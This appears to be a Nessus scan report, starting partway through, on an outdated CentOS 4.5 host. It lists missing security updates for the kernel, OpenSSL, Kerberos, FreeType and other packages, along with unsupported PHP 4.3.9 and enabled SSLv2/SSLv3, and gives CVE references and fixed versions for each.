* a memory leak was found in keyctl handling. A local, unprivileged user could use this flaw to deplete kernel memory, eventually leading to a denial of service. (CVE-2009-0031, Important)

* a deficiency was found in the Remote BIOS Update (RBU) driver for Dell systems. This could allow a local, unprivileged user to cause a denial of service by reading zero bytes from the image_type or packet_size file in '/sys/devices/platform/dell_rbu/'. (CVE-2009-0322, Important)

* a deficiency was found in the libATA implementation. This could, potentially, lead to a denial of service. Note: by default, '/dev/sg*' devices are accessible only to the root user. (CVE-2008-5700, Low)

This update also fixes the following bugs :

* when the hypervisor changed a page table entry (pte) mapping from read-only to writable via a make_writable hypercall, accessing the changed page immediately following the change caused a spurious page fault. When trying to install a para-virtualized Red Hat Enterprise Linux 4 guest on a Red Hat Enterprise Linux 5.3 dom0 host, this fault crashed the installer with a kernel backtrace. With this update, the 'spurious' page fault is handled properly. (BZ#483748)

* net_rx_action could detect its cpu poll_list as non-empty, but have that same list reduced to empty by the poll_napi path. This resulted in garbage data being

returned when net_rx_action calls list_entry, which subsequently resulted in several possible crash conditions. The race condition in the network code which caused this has been fixed.
(BZ#475970, BZ#479681 & BZ#480741)

* a misplaced memory barrier at unlock_buffer() could lead to a concurrent h_refcounter update which produced a reference counter leak and, later, a double free in ext3_xattr_release_block(). Consequent to the double free, ext3 reported an error

ext3_free_blocks_sb: bit already cleared for block [block number]

and mounted itself as read-only. With this update, the memory barrier is now placed before the buffer head lock bit, forcing the write order and preventing the double free. (BZ#476533)

* when the iptables module was unloaded, it was assumed the correct entry for removal had been found if 'wrapper->ops->pf' matched the value passed in by 'reg->pf'. If several ops ranges were registered against the same protocol family, however, (which was likely if you had both ip_conntrack and ip_conntrack_* loaded) this assumption could lead to NULL list pointers and cause a kernel panic. With this update, 'wrapper->ops' is matched to pointer values 'reg', which ensures the correct entry is removed and results in no NULL list pointers.

(BZ#477147)

* when the pidmap page (used for tracking process ids, pids) incremented to an even page (ie the second, fourth, sixth, etc. pidmap page), the alloc_pidmap() routine skipped the page. This resulted in 'holes' in the allocated pids. For example, after pid 32767, you would expect 32768 to be allocated. If the page skipping behavior presented, however, the pid allocated after 32767 was 65536. With this update, alloc_pidmap() no longer skips alternate pidmap pages and allocated pid holes no longer occur. This fix also corrects an error which allowed pid_max to be set higher than the pid_max limit has been corrected. (BZ#479182)

All Red Hat Enterprise Linux 4 users should upgrade to these updated packages, which contain backported patches to resolve these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?bba327f1>
<http://www.nessus.org/u?cb685b95>

Solution

Update the affected kernel packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:I/C:A;C)

CVSS v2.0 Temporal Score

7.8 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	33113
CVE	CVE-2008-5700
CVE	CVE-2009-0031
CVE	CVE-2009-0065
CVE	CVE-2009-0322
XREF	RHSA:2009:0331
XREF	CWE:119
XREF	CWE:189
XREF	CWE:399

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-78.0.17.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-78.0.17.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-78.0.17.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-78.0.17.EL
```

44026 - CentOS 4 : kernel (CESA-2010:0020)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* a flaw was found in each of the following Intel PRO/1000 Linux drivers in the Linux kernel: e1000 and e1000e. A remote attacker using packets larger than the MTU could bypass the existing fragment check, resulting in partial, invalid frames being passed to the network stack. These flaws could also possibly be used to trigger a remote denial of service. (CVE-2009-4536, CVE-2009-4538, Important)

* a flaw was found in the Realtek r8169 Ethernet driver in the Linux kernel. Receiving overly-long frames with network cards supported by this driver could possibly result in a remote denial of service.

(CVE-2009-4537, Important)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?be7bd3ba>
<http://www.nessus.org/u?3a13924d>

Solution

Update the affected kernel packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36706
BID	37519
BID	37523
CVE	CVE-2009-4536
CVE	CVE-2009-4537
CVE	CVE-2009-4538
XREF	RHSA:2010:0020
XREF	CWE:20
XREF	CWE:189

Plugin Information

Published: 2010/01/15, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.19.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.19.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.19.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.19.EL
```

48909 - CentOS 4 : kernel (CESA-2010:0606)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and one bug are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* a flaw was found in the CIFSSMBWrite() function in the Linux kernel Common Internet File System (CIFS) implementation. A remote attacker could send a specially crafted SMB response packet to a target CIFS client, resulting in a kernel panic (denial of service).
(CVE-2010-2248, Important)

* buffer overflow flaws were found in the Linux kernel's implementation of the server-side External Data Representation (XDR) for the Network File System (NFS) version 4. An attacker on the local network could send a specially crafted large compound request to the NFSv4 server, which could possibly result in a kernel panic (denial of service) or, potentially, code execution. (CVE-2010-2521, Important)

This update also fixes the following bug :

* the rpc_call_async() function in the SUN Remote Procedure Call (RPC) subsystem in the Linux kernel had a reference counting bug. In certain situations, some Network Lock Manager (NLM) messages may have triggered this bug on NFSv2 and NFSv3 servers, leading to a kernel panic (with 'kernel BUG at fs/lockd/host.c: [xxx]! logged to '/var/log/messages'). (BZ#612962)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?6225dd7a>
<http://www.nessus.org/u?42d2b795>

Solution

Update the affected kernel packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	42242
BID	42249
CVE	CVE-2010-2248
CVE	CVE-2010-2521
XREF	RHSA:2010:0606

Plugin Information

Published: 2010/08/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.28.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.28.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.28.EL
```

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-89.0.28.EL

43740 - CentOS 4 : krb5 (CESA-2009:0409)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated krb5 packages that fix a security issue are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

Kerberos is a network authentication system which allows clients and servers to authenticate to each other using symmetric encryption and a trusted third party, the Key Distribution Center (KDC).

An input validation flaw was found in the ASN.1 (Abstract Syntax Notation One) decoder used by MIT Kerberos. A remote attacker could use this flaw to crash a network service using the MIT Kerberos library, such as kadm5 or krb5kdc, by causing it to dereference or free an uninitialized pointer. (CVE-2009-0846)

All krb5 users should upgrade to these updated packages, which contain a backported patch to correct this issue. All running services using the MIT Kerberos libraries must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?c28f86d4>
<http://www.nessus.org/u?b3902760>
<http://www.nessus.org/u?6e263e89>

Solution

Update the affected krb5 packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2009-0844
CVE	CVE-2009-0845
CVE	CVE-2009-0846
CVE	CVE-2009-0847
XREF	RHSA:2009:0409
XREF	CWE:20
XREF	CWE:119
XREF	CWE:189

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : krb5-devel-1.3.4-47
 Should be : krb5-devel-1.3.4-60.el4_7.2

Remote package installed : krb5-libs-1.3.4-47
 Should be : krb5-libs-1.3.4-60.el4_7.2

Remote package installed : krb5-workstation-1.3.4-47
 Should be : krb5-workstation-1.3.4-60.el4_7.2

26077 - CentOS 4 : nfs-utils-lib (CESA-2007:0913)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

An updated nfs-utils-lib package to correct a security flaw is now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The nfs-utils-lib package contains support libraries that are needed by the commands and daemons of the nfs-utils package.

Tenable Network Security discovered a stack-based buffer overflow flaw in the RPC library used by nfs-utils-lib. A remote unauthenticated attacker who can access an application linked against nfs-utils-lib could trigger this flaw and cause the application to crash. On Red Hat Enterprise Linux 4 it is not possible to exploit this flaw to run arbitrary code as the overflow is blocked by FORTIFY_SOURCE.

(CVE-2007-3999)

Users of nfs-utils-lib are advised to upgrade to this updated package, which contains a backported patch that resolves this issue.

See Also

<http://www.nessus.org/u?84463253>

<http://www.nessus.org/u?bdc2494a>

http://www.nessus.org/u?e3d1d7c3

<https://www.tenable.com/security/research/tra-2007-07>

Solution

Update the affected nfs-utils-lib packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	25534
CVE	CVE-2007-3999
XREF	RHSA:2007:0913
XREF	TRA:TRA-2007-07
XREF	CWE:20
XREF	CWE:119

Plugin Information

Published: 2007/09/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : nfs-utils-lib-1.0.6-8
Should be : nfs-utils-lib-1.0.6-8.z1
```

51781 - CentOS 4 : openssl (CESA-2010:0977)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated openssl packages that fix three security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols, as well as a full-strength, general purpose cryptography library.

A ciphersuite downgrade flaw was found in the OpenSSL SSL/TLS server code. A remote attacker could possibly use this flaw to change the ciphersuite associated with a cached session stored on the server, if the server enabled the SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG option, possibly forcing the client to use a

weaker ciphersuite after resuming the session. (CVE-2010-4180, CVE-2008-7270)

Note: With this update, setting the SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG option has no effect and this bug workaround can no longer be enabled.

It was discovered that OpenSSL did not always check the return value of the bn_wexpand() function. An attacker able to trigger a memory allocation failure in that function could possibly crash an application using the OpenSSL library and its UBSEC hardware engine support. (CVE-2009-3245)

All OpenSSL users should upgrade to these updated packages, which contain backported patches to resolve these issues. For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted.

See Also

<http://www.nessus.org/u?c1a1a457>
<http://www.nessus.org/u?f53d31c3>

Solution

Update the affected openssl packages.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.4 (CVSS2#E:U/RL:OF/RC:C)

References

BID	38562
BID	45164
BID	45254
CVE	CVE-2008-7270
CVE	CVE-2009-3245
CVE	CVE-2010-4180
XREF	RHSA:2010:0977
XREF	CWE:20

Plugin Information

Published: 2011/01/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : openssl-0.9.7a-43.16
Should be : openssl-0.9.7a-43.17.el4_8.6
```

```
Remote package installed : openssl-devel-0.9.7a-43.16
Should be : openssl-devel-0.9.7a-43.17.el4_8.6
```

201464 - CentOS SEoL (4.x)

Synopsis

An unsupported version of CentOS is installed on the remote host.

Description

According to its version, CentOS is 4.x. It is, therefore, no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

See Also

<http://www.nessus.org/u?7e1e5a7a>

Solution

Upgrade to a version of CentOS that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2024/07/03, Modified: 2025/03/26

Plugin Output

tcp/0

```
OS : CentOS Linux 4.5 (Final)
Security End of Life : February 29, 2012
Time since Security End of Life (Est.) : >= 13 years
```

44340 - CentOS Update Set

Synopsis

The remote CentOS operating system is out-of-date.

Description

The remote host is running a release of CentOS that is not at the latest Update Set. Since updating CentOS brings a host up to the most recent Update Set, this means that it has not been updated recently, and is likely to be affected by multiple vulnerabilities.

See Also

<http://www.nessus.org/u?f8415728>

Solution

Apply the latest Update Set.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2010/01/29, Modified: 2017/05/08

Plugin Output

tcp/0

```
Installed version : 4.5
Latest version : 4.9
```

58987 - PHP Unsupported Version Detection

Synopsis

The remote host contains an unsupported version of a web application scripting language.

Description

According to its version, the installation of PHP on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

See Also

<http://php.net/eol.php>

<https://wiki.php.net/rfc/releaseprocess>

Solution

Upgrade to a version of PHP that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF IAVA:0001-A-0581

Plugin Information

Published: 2012/05/04, Modified: 2024/11/22

Plugin Output

tcp/80/www

```
Source : X-Powered-By: PHP/4.3.9
Installed version : 4.3.9
End of support date : 2005/03/31
Announcement : http://php.net/eol.php
Supported versions : 8.1.x / 8.2.x / 8.3.x
```

58987 - PHP Unsupported Version Detection

Synopsis

The remote host contains an unsupported version of a web application scripting language.

Description

According to its version, the installation of PHP on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

See Also

<http://php.net/eol.php>
<https://wiki.php.net/rfc/releaseprocess>

Solution

Upgrade to a version of PHP that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF IAVA:0001-A-0581

Plugin Information

Published: 2012/05/04, Modified: 2024/11/22

Plugin Output

tcp/443/www

Source : X-Powered-By: PHP/4.3.9
 Installed version : 4.3.9
 End of support date : 2005/03/31
 Announcement : http://php.net/eol.php
 Supported versions : 8.1.x / 8.2.x / 8.3.x

20007 - SSL Version 2 and 3 Protocol Detection

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

<https://www.schneier.com/academic/paperfiles/paper-ssl.pdf>
<http://www.nessus.org/u?b06c7e95>
<http://www.nessus.org/u?247c4540>
<https://www.openssl.org/~bodo/ssl-poodle.pdf>
<http://www.nessus.org/u?5d15ba70>
<https://www.imperialviolet.org/2014/10/14/poodle.html>
<https://tools.ietf.org/html/rfc7507>
<https://tools.ietf.org/html/rfc7568>

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2005/10/12, Modified: 2022/04/04

Plugin Output

tcp/443/www

- SSLv2 is enabled and the server supports at least one cipher.

Low Strength Ciphers (<= 64-bit key)

Name Code KEX Auth Encryption MAC

 EXP-RC2-CBC-MD5 RSA(512) RSA RC2-CBC(40) MD5 export
 EXP-RC4-MD5 RSA(512) RSA RC4(40) MD5 export

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name Code KEX Auth Encryption MAC

```
-----  
DES-CBC3-MD5 RSA RSA 3DES-CBC(168) MD5
```

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
------	------	-----	------	------------	-----

```
-----  
RC4-MD5 RSA RSA RC4(128) MD5
```

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

- SSLv3 is enabled and the server supports at least one cipher.

Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
------	------	-----	------	------------	-----

```
-----  
EXP-EDH-RSA-DES-CBC-SHA DH(512) RSA DES-CBC(40) SHA1 export  
EDH-RSA-DES-CBC-SHA DH RSA DES-CBC(56) SHA1  
EXP-DES-CBC-SHA RSA(512) RSA DES-CBC(40) SHA1 export  
EXP-RC2-CBC-MD5 RSA(512) RSA RC2-CBC(40) MD5 export  
EXP-RC4-MD5 RSA(512) RSA RC4(40) MD5 export  
DES-CBC-SHA RSA RSA DES-CBC(56) SHA1
```

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
------	------	-----	------	------------	-----

```
-----  
EDH-RSA-DES-CBC3-SHA DH RSA 3DES-CBC(168) SHA1  
DES-CBC3-SHA RSA RSA 3DES-CBC(168) SHA1
```

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
------	------	-----	------	------------	-----

```
-----  
DHE-RSA-AES128-SHA DH RSA AES-CBC(128) SHA1  
DHE-RSA-AES256-SHA DH RSA AES-CBC(256) SHA1  
AES128-SHA RSA RSA AES-CBC(128) SHA1  
AES256-SHA RSA RSA AES-CBC(256) SHA1  
RC4-MD5 RSA RSA RC4(128) MD5  
RC4-SHA RSA RSA RC4(128) SHA1
```

The fields above are :

```
{Tenable ciphername}  
{Cipher ID code}  
Kex={key exchange}  
Auth={authentication}  
Encrypt={symmetric encryption method}  
MAC={message authentication code}  
{export flag}
```

34463 - CentOS 3 / 4 / 5 : ed (CESA-2008:0946)

Synopsis

The remote CentOS host is missing a security update.

Description

An updated ed package that fixes one security issue is now available for Red Hat Enterprise Linux 2.1, 3, 4 and 5.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

ed is a line-oriented text editor, used to create, display, and modify text files (both interactively and via shell scripts).

A heap-based buffer overflow was discovered in the way ed, the GNU line editor, processed long file names. An attacker could create a file with a specially crafted name that could possibly execute an arbitrary code when opened in the ed editor. (CVE-2008-3916)

Users of ed should upgrade to this updated package, which contains a backported patch to resolve this issue.

See Also

<http://www.nessus.org/u?31fc3d32>
<http://www.nessus.org/u?33b2aa02>
<http://www.nessus.org/u?145e1232>
<http://www.nessus.org/u?4e64595e>
<http://www.nessus.org/u?a8c3e8c5>

<http://www.nessus.org/u?da959056>
<http://www.nessus.org/u?57fa8591>
<http://www.nessus.org/u?8291e608>

Solution

Update the affected ed package.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2008-3916
XREF	RHSA:2008:0946
XREF	CWE:119

Plugin Information

Published: 2008/10/22, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : ed-0.2-36
Should be : ed-0.2-36.el4_7.1
```

33229 - CentOS 3 / 4 / 5 : freetype (CESA-2008:0556)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix various security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

[Updated 25th June 2008] The original packages for Red Hat Enterprise Linux 3 and 4 distributed with this errata had a bug which prevented freetype library from loading certain font files correctly. We have updated the packages to correct this bug.

FreeType is a free, high-quality, portable font engine that can open and manage font files, as well as efficiently load, hint and render individual glyphs.

Multiple flaws were discovered in FreeType's Printer Font Binary (PFB) font-file format parser. If a user loaded a carefully crafted font-file with a program linked against FreeType, it could cause the application to crash, or possibly execute arbitrary code.
(CVE-2008-1806, CVE-2008-1807, CVE-2008-1808)

Note: the flaw in FreeType's TrueType Font (TTF) font-file format parser, covered by CVE-2008-1808, did not affect the freetype packages as shipped in Red Hat Enterprise Linux 3, 4, and 5, as they are not compiled with TTF Byte Code Interpreter (BCI) support.

Users of freetype should upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?53005098>
<http://www.nessus.org/u?ab870e3f>
<http://www.nessus.org/u?d8b7d6f8>
<http://www.nessus.org/u?ad2394fc>
<http://www.nessus.org/u?c091bea5>
<http://www.nessus.org/u?974e3d4f>
<http://www.nessus.org/u?38cf3dc>
<http://www.nessus.org/u?1e40e752>

Solution

Update the affected freetype packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	29637
BID	29639
BID	29640
BID	29641
CVE	CVE-2008-1806
CVE	CVE-2008-1807
CVE	CVE-2008-1808
XREF	RHSA:2008:0556
XREF	CWE:189

Plugin Information

Published: 2008/06/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-7.el4.6
```

48269 - CentOS 3 / 4 / 5 : freetype (CESA-2010:0607)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated freetype packages that fix two security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having important security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

FreeType is a free, high-quality, portable font engine that can open and manage font files. It also loads, hints, and renders individual glyphs efficiently. The freetype packages for Red Hat Enterprise Linux 3 and 4 provide both the FreeType 1 and FreeType 2 font engines. The freetype packages for Red Hat Enterprise Linux 5 provide only the FreeType 2 font engine.

Two stack overflow flaws were found in the way the FreeType font engine processed certain Compact Font Format (CFF) character strings (pcodes). If a user loaded a specially crafted font file with an application linked against FreeType, it could cause the application to crash or, possibly, execute arbitrary code with the privileges of the user running the application. (CVE-2010-1797)

Red Hat would like to thank Braden Thomas of the Apple Product Security team for reporting these issues.

Note: CVE-2010-1797 only affects the FreeType 2 font engine.

Users are advised to upgrade to these updated packages, which contain a backported patch to correct these issues. The X server must be restarted (log out, then log back in) for this update to take effect.

See Also

<http://www.nessus.org/u?f3cae0a7>
<http://www.nessus.org/u?0166864d>
<http://www.nessus.org/u?525a1a23>
<http://www.nessus.org/u?a1ae3628>
<http://www.nessus.org/u?b4dee148>
<http://www.nessus.org/u?9032f78e>

Solution

Update the affected freetype packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2010-1797
XREF	RHSA:2010:0607

Exploitable With

CANVAS (true) Core Impact (true)

Plugin Information

Published: 2010/08/09, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : freetype-2.1.9-5.el4
Should be : freetype-2.1.9-15.el4.8
```

47741 - CentOS 3 / 4 / 5 : libpng / libpng10 (CESA-2010:0534)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated libpng and libpng10 packages that fix multiple security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The libpng packages contain a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files.

A memory corruption flaw was found in the way applications, using the libpng library and its progressive reading method, decoded certain PNG images. An attacker could create a specially crafted PNG image that, when opened, could cause an application using libpng to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-1205)

A denial of service flaw was found in the way applications using the libpng library decoded PNG images that have certain, highly compressed ancillary chunks. An attacker could create a specially crafted PNG image that could cause an application using libpng to consume excessive amounts of memory and CPU time, and possibly crash.

(CVE-2010-0205)

A memory leak flaw was found in the way applications using the libpng library decoded PNG images that use the Physical Scale (sCAL) extension. An attacker could create a specially crafted PNG image that could cause an application using libpng to exhaust all available memory and possibly crash or exit. (CVE-2010-2249)

A sensitive information disclosure flaw was found in the way applications using the libpng library processed 1-bit interlaced PNG images. An attacker could create a specially crafted PNG image that could cause an application using libpng to disclose uninitialized memory. (CVE-2009-2042)

Users of libpng and libpng10 should upgrade to these updated packages, which contain backported patches to correct these issues. All running applications using libpng or libpng10 must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?5110e399>
<http://www.nessus.org/u?2322f6aa>
<http://www.nessus.org/u?916c87cf>
<http://www.nessus.org/u?7f4b435e>
<http://www.nessus.org/u?18d3537b>
<http://www.nessus.org/u?9388a999>
<http://www.nessus.org/u?aac17204>
<http://www.nessus.org/u?aba3d815>

Solution

Update the affected libpng and / or libpng10 packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	35233
BID	38478
BID	41174
CVE	CVE-2009-2042
CVE	CVE-2010-0205
CVE	CVE-2010-1205
CVE	CVE-2010-2249
XREF	RHSA:2010:0534
XREF	CWE:200
XREF	CWE:399

Plugin Information

Published: 2010/07/16, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libpng-1.2.7-1.el4.2
Should be : libpng-1.2.7-3.el4_8.3
```

32326 - CentOS 3 / 4 / 5 : libvorbis (CESA-2008:0270)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated libvorbis packages that fix various security issues are now available for Red Hat Enterprise Linux 3, 4, and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The libvorbis packages contain runtime libraries for use in programs that support Ogg Vorbis. Ogg Vorbis is a fully open, non-proprietary, patent-and royalty-free, general-purpose compressed audio format.

Will Drewry of the Google Security Team reported several flaws in the way libvorbis processed audio data. An attacker could create a carefully crafted OGG audio file in such a way that it could cause an application linked with libvorbis to crash, or execute arbitrary code when it was opened. (CVE-2008-1419, CVE-2008-1420, CVE-2008-1423)

Moreover, additional OGG file sanity-checks have been added to prevent possible exploitation of similar issues in the future.

Users of libvorbis are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?c0ddfbdb>
<http://www.nessus.org/u?b6ff27a7>
<http://www.nessus.org/u?0ef44d9e>
<http://www.nessus.org/u?c4d76914>
<http://www.nessus.org/u?a84fa5d4>
<http://www.nessus.org/u?deb53d9f>
<http://www.nessus.org/u?5b257c95>
<http://www.nessus.org/u?f0d1611b>

Solution

Update the affected libvorbis packages.

Risk Factor

High

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

BID	29206
CVE	CVE-2008-1419
CVE	CVE-2008-1420
CVE	CVE-2008-1423
XREF	RHSA:2008:0270
XREF	CWE:20
XREF	CWE:189

Plugin Information

Published: 2008/05/16, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libvorbis-1.1.0-1
Should be : libvorbis-1.1.0-3.el4_6.1
```

```
Remote package installed : libvorbis-devel-1.1.0-1
Should be : libvorbis-devel-1.1.0-3.el4_6.1
```

